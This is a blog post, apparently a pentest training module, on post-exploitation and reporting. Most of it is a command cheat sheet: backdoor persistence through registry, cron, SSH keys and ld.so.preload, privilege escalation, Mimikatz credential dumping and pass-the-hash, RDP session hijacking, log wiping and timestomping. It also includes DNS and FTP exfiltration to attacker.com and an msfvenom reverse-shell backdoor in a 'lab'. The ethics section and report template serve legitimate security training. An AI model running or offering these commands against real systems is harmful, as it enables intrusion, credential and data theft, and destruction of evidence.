1. Introduction to Post-Exploitation
Post-exploitation refers to actions taken after gaining initial access to a system. The goals include:
- Maintaining persistence (staying undetected)
- Privilege escalation (gaining higher access)
- Lateral movement (expanding control)
- Data exfiltration (stealing sensitive info)
- Covering tracks (removing evidence)
2. Post-Exploitation Techniques
A. Maintaining Access (Persistence)
1. Windows Persistence Methods
- Registry Keys (Run keys, Startup folders)
powershell
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\malware.exe"
-Scheduled Tasks
powershell
schtasks /create /tn "UpdateTask" /tr "C:\malware.exe" /sc hourly /mo 1
- Service Installation
powershell
sc create "FakeService" binPath= "C:\malware.exe" start= auto
2. Linux Persistence Methods
- Cron Jobs
bash
echo " /*****tmp/backdoor.sh" >> /etc/crontab
SSH Backdoors
bash
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
-Modified Binaries (LD_PRELOAD)
bash
echo "/tmp/evil.so" >> /etc/ld.so.preload
B. Privilege Escalation
1. Windows Escalation
-Token Impersonation (Rotten Potato)
powershell
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
- DLL Hijacking
powershell
copy evil.dll C:\Program Files\VulnerableApp\legit.dll
- Unquoted Service Paths
powershell
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
2. Linux Escalation
- SUID Binaries
bash
find / -perm -4000 2>/dev/null
- Kernel Exploits (DirtyCow, Sudo Baron Samedit)
bash
gcc exploit.c -o exploit && ./exploit
- Sudo Misconfigurations
bash
sudo -l
C. Lateral Movement
1. Pass-the-Hash (PtH)
- Windows
powershell
mimikatz "sekurlsa::pth /user:Administrator /domain:corp /ntlm:HASH"
- Linux (SSH Key Abuse)
bash
ssh -i id_rsa user@192.168.1.100
2. RDP Hijacking
- Session Stealing
powershell
tscon 2 /dest:rdp-tcp#0
3. WMI & PSExec
- Remote Command Execution
powershell
Invoke-WMIExec -Target 192.168.1.100 -Command "whoami"
D. Data Exfiltration
1. File Transfer Methods
- HTTP Upload (Python Server)
bash
python3 -m http.server 8000
- DNS Exfiltration
bash
cat secret.txt | base64 | tr -d '\n' | while read chunk; do dig $chunk.attacker.com; done
2. Data Compression & Encryption
- ZIP + AES Encryption
bash
zip -P "password" secret.zip secret.txt
E. Covering Tracks
1. Log Deletion
- Windows (Clear Event Logs)
powershell
wevtutil cl System
- Linux (Delete Auth Logs)
bash
echo "" > /var/log/auth.log
2. Timestomping
- Modify File Timestamps
powershell
(Get-Item "C:\malware.exe").CreationTime = "01/01/2020 00:00:00"
3. Post-Exploitation Tools
| Tool | Purpose |
| ------ | ---------|
| Mimikatz | Credential dumping (Windows) |
| BloodHound | Active Directory mapping |
| Cobalt Strike | Advanced post-exploitation |
| Metasploit | Automated exploitation |
| Impacket | Lateral movement (Linux/Windows) |
4. Reporting & Documentation
A. Key Elements of a Penetration Test Report
1. Executive Summary (High-level findings)
2. Methodology (Tools & techniques used)
3. Findings (Vulnerabilities + risk ratings)
4. Evidence (Screenshots, logs)
5. Remediation Steps (How to fix issues)
B. Sample Report Structure
Penetration Test Report
1. Executive Summary
- Critical vulnerabilities found: 3
- Risk level: High
2. Findings
A. Privilege Escalation (Critical)
Description: Kernel exploit (CVE-2021-4034)
Proof:
Remediation: Patch Linux kernel.
3. Conclusion
- Immediate action required for CVE-2021-4034.
C. Tools for Reporting
- Dradis (Collaborative reporting)
- Faraday (Pentest collaboration)
- LaTeX/Word (Professional formatting)
5. Hands-On Lab
Lab: Windows Post-Exploitation
1. Dump hashes with Mimikatz :
powershell
sekurlsa::logonpasswords
2. Create a backdoor:
powershell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > backdoor.exe
3. Exfiltrate data via FTP:
powershell
(New-Object Net.WebClient).UploadFile("ftp://attacker.com/secrets.txt", "C:\secrets.txt")
6. Ethical & Legal Considerations
⚠ Always get written permission before testing.
⚠ Do not exfiltrate real customer data (use dummy files).
⚠ Follow responsible disclosure for vulnerabilities.
Conclusion
- Post-exploitation is about maintaining access, escalating privileges, and stealing data.
- Reporting is critical for fixing vulnerabilities.
- Use tools like Mimikatz, BloodHound, and Metasploit for efficiency.
Post-Exploitation & Reporting is the part of cybersecurity Training
🔹 Next Steps :
Module 12: Capture The Flag (CTF) & Hands-On Labs
- Try HTB (Hack The Box) machines for practice.
- Learn Active Directory exploitation.
- Explore C2 frameworks (Sliver, Covenant).
🚀 Want a sample penetration test report template? Let me know!
No comments:
Post a Comment